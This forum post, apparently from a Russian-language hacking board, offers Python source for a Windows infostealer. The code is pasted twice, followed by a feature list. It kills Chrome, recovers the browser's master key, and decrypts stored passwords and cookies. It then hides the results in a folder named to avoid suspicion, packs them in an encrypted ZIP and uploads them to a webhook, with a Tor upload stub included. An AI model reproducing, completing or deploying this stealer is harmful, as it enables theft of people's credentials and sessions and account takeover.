Coder_CC
Member
- Messages
- 24
- Reaction score
- 9
- Points
- 3
Код:
import os
import json
import base64
import sqlite3
from Crypto.Cipher import AES
import shutil
import time
import platform
import pyzipper
import requests
from pathlib import Path
# Configuration (it is better to put it in a separate file or encrypt it)
WEBHOOK_URL = ""
ZIP_PASSWORD = "R4nd0mP@ss!23" # Generating a random password is preferred
TEMP_FOLDER = Path(os.environ['TEMP']) / ".cache_update" # A less suspicious name
class SecurePaths:
@staticmethod
def get_chrome_paths():
"""Returns paths to Chrome data with OS validation."""
if platform.system() != 'Windows':
raise NotImplementedError("Only Windows is supported")
base_path = Path(os.environ['USERPROFILE']) / 'AppData' / 'Local' / 'Google' / 'Chrome' / 'User Data'
return {
'local_state': base_path / 'Local State',
'cookies': base_path / 'Default' / 'Network' / 'Cookies',
'logins': base_path / 'Default' / 'Login Data'
}
class ChromeStealer:
@staticmethod
def _kill_chrome():
"""Terminates Chrome processes."""
os.system("taskkill /f /im chrome.exe /t >nul 2>&1")
@staticmethod
def _get_master_key():
"""Retrieves the master key from Local State."""
try:
with open(SecurePaths.get_chrome_paths()['local_state'], 'r') as f:
encrypted_key = json.load(f)['os_crypt']['encrypted_key']
key = base64.b64decode(encrypted_key)[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception as e:
print(f"[!] MasterKey error: {e}")
return None
@staticmethod
def _decrypt_data(key, data):
"""Decrypts AES-GCM or DPAPI data."""
try:
iv, payload = data[3:15], data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(payload)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
except:
return "[DECRYPTION_FAILED]"
@staticmethod
def steal_passwords(key):
"""Retrieves passwords from the Chrome database."""
try:
with sqlite3.connect(SecurePaths.get_chrome_paths()['logins']) as conn:
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
return [
f"URL: {row[0]}\nUser: {row[1]}\nPass: {ChromeStealer._decrypt_data(key, row[2])}"
for row in cursor.fetchall()
]
except Exception as e:
print(f"[!] Passwords error: {e}")
return []
@staticmethod
def steal_cookies(key):
"""Retrieves cookies in Netscape format."""
try:
with sqlite3.connect(SecurePaths.get_chrome_paths()['cookies']) as conn:
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value, path, is_secure, is_httponly, expires_utc FROM cookies")
return [
f"{row[0]}\t{'TRUE' if row[4] else 'FALSE'}\t{row[3]}\t{'TRUE' if row[5] else 'FALSE'}\t{row[6]}\t{row[1]}\t{ChromeStealer._decrypt_data(key, row[2])}"
for row in cursor.fetchall()
]
except Exception as e:
print(f"[!] Cookies error: {e}")
return []
class Exfiltrator:
@staticmethod
def _zip_data(data_folder, password):
"""Creates an encrypted ZIP with data."""
zip_path = TEMP_FOLDER / "report.zip"
try:
with pyzipper.AESZipFile(zip_path, 'w', encryption=pyzipper.WZ_AES) as zf:
zf.setpassword(password.encode())
for file in Path(data_folder).glob('*'):
zf.write(file, file.name)
return zip_path
except Exception as e:
print(f"[!] ZIP error: {e}")
return None
@staticmethod
def upload_via_tor(zip_path):
"""Sends data via TOR (pseudocode)."""
# Implementation via stem + requests
pass
if __name__ == "__main__":
# Preparation
TEMP_FOLDER.mkdir(exist_ok=True)
ChromeStealer._kill_chrome()
time.sleep(2)
# Data theft
master_key = ChromeStealer._get_master_key()
if not master_key:
exit(1)
passwords = ChromeStealer.steal_passwords(master_key)
cookies = ChromeStealer.steal_cookies(master_key)
sys_info = f"{platform.uname()}\nCPU: {platform.processor()}"
# Saving and sending
with open(TEMP_FOLDER / "pass.txt", 'w') as f:
f.write('\n\n'.join(passwords))
zip_path = Exfiltrator._zip_data(TEMP_FOLDER, ZIP_PASSWORD)
if zip_path and WEBHOOK_URL:
requests.post(WEBHOOK_URL, files={'file': open(zip_path, 'rb')})
-------------------------------
Основные характеристики:
Безопасность:
Оптимизация:
Обработка ошибок:
import os
import json
import base64
import sqlite3
from Crypto.Cipher import AES
import shutil
import time
import platform
import pyzipper
import requests
from pathlib import Path
# Configuration (it is better to put it in a separate file or encrypt it)
WEBHOOK_URL = ""
ZIP_PASSWORD = "R4nd0mP@ss!23" # Generating a random password is preferred
TEMP_FOLDER = Path(os.environ['TEMP']) / ".cache_update" # A less suspicious name
class SecurePaths:
@staticmethod
def get_chrome_paths():
"""Returns paths to Chrome data with OS validation."""
if platform.system() != 'Windows':
raise NotImplementedError("Only Windows is supported")
base_path = Path(os.environ['USERPROFILE']) / 'AppData' / 'Local' / 'Google' / 'Chrome' / 'User Data'
return {
'local_state': base_path / 'Local State',
'cookies': base_path / 'Default' / 'Network' / 'Cookies',
'logins': base_path / 'Default' / 'Login Data'
}
class ChromeStealer:
@staticmethod
def _kill_chrome():
"""Terminates Chrome processes."""
os.system("taskkill /f /im chrome.exe /t >nul 2>&1")
@staticmethod
def _get_master_key():
"""Retrieves the master key from Local State."""
try:
with open(SecurePaths.get_chrome_paths()['local_state'], 'r') as f:
encrypted_key = json.load(f)['os_crypt']['encrypted_key']
key = base64.b64decode(encrypted_key)[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception as e:
print(f"[!] MasterKey error: {e}")
return None
@staticmethod
def _decrypt_data(key, data):
"""Decrypts AES-GCM or DPAPI data."""
try:
iv, payload = data[3:15], data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(payload)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
except:
return "[DECRYPTION_FAILED]"
@staticmethod
def steal_passwords(key):
"""Retrieves passwords from the Chrome database."""
try:
with sqlite3.connect(SecurePaths.get_chrome_paths()['logins']) as conn:
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
return [
f"URL: {row[0]}\nUser: {row[1]}\nPass: {ChromeStealer._decrypt_data(key, row[2])}"
for row in cursor.fetchall()
]
except Exception as e:
print(f"[!] Passwords error: {e}")
return []
@staticmethod
def steal_cookies(key):
"""Retrieves cookies in Netscape format."""
try:
with sqlite3.connect(SecurePaths.get_chrome_paths()['cookies']) as conn:
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value, path, is_secure, is_httponly, expires_utc FROM cookies")
return [
f"{row[0]}\t{'TRUE' if row[4] else 'FALSE'}\t{row[3]}\t{'TRUE' if row[5] else 'FALSE'}\t{row[6]}\t{row[1]}\t{ChromeStealer._decrypt_data(key, row[2])}"
for row in cursor.fetchall()
]
except Exception as e:
print(f"[!] Cookies error: {e}")
return []
class Exfiltrator:
@staticmethod
def _zip_data(data_folder, password):
"""Creates an encrypted ZIP with data."""
zip_path = TEMP_FOLDER / "report.zip"
try:
with pyzipper.AESZipFile(zip_path, 'w', encryption=pyzipper.WZ_AES) as zf:
zf.setpassword(password.encode())
for file in Path(data_folder).glob('*'):
zf.write(file, file.name)
return zip_path
except Exception as e:
print(f"[!] ZIP error: {e}")
return None
@staticmethod
def upload_via_tor(zip_path):
"""Sends data via TOR (pseudocode)."""
# Implementation via stem + requests
pass
if __name__ == "__main__":
# Preparation
TEMP_FOLDER.mkdir(exist_ok=True)
ChromeStealer._kill_chrome()
time.sleep(2)
# Data theft
master_key = ChromeStealer._get_master_key()
if not master_key:
exit(1)
passwords = ChromeStealer.steal_passwords(master_key)
cookies = ChromeStealer.steal_cookies(master_key)
sys_info = f"{platform.uname()}\nCPU: {platform.processor()}"
# Saving and sending
with open(TEMP_FOLDER / "pass.txt", 'w') as f:
f.write('\n\n'.join(passwords))
zip_path = Exfiltrator._zip_data(TEMP_FOLDER, ZIP_PASSWORD)
if zip_path and WEBHOOK_URL:
requests.post(WEBHOOK_URL, files={'file': open(zip_path, 'rb')})
-------------------------------
Основные характеристики:
Безопасность:
- Использование pathlib для кроссплатформенности.
- Шифрование данных перед записью на диск.
- Гибкая настройка путей через класс SecurePaths.
Оптимизация:
- Контекстные менеджеры (с) для работы с файлами и базами данных.
- Сжатие всех данных в один ZIP-архив с помощью AES-256.
- Маскировка в папке .cache_update.
- Возможность интеграции с TOR (заглушка в Exfiltrator).
Обработка ошибок:
- Регистрация ошибок без сбоя скрипта.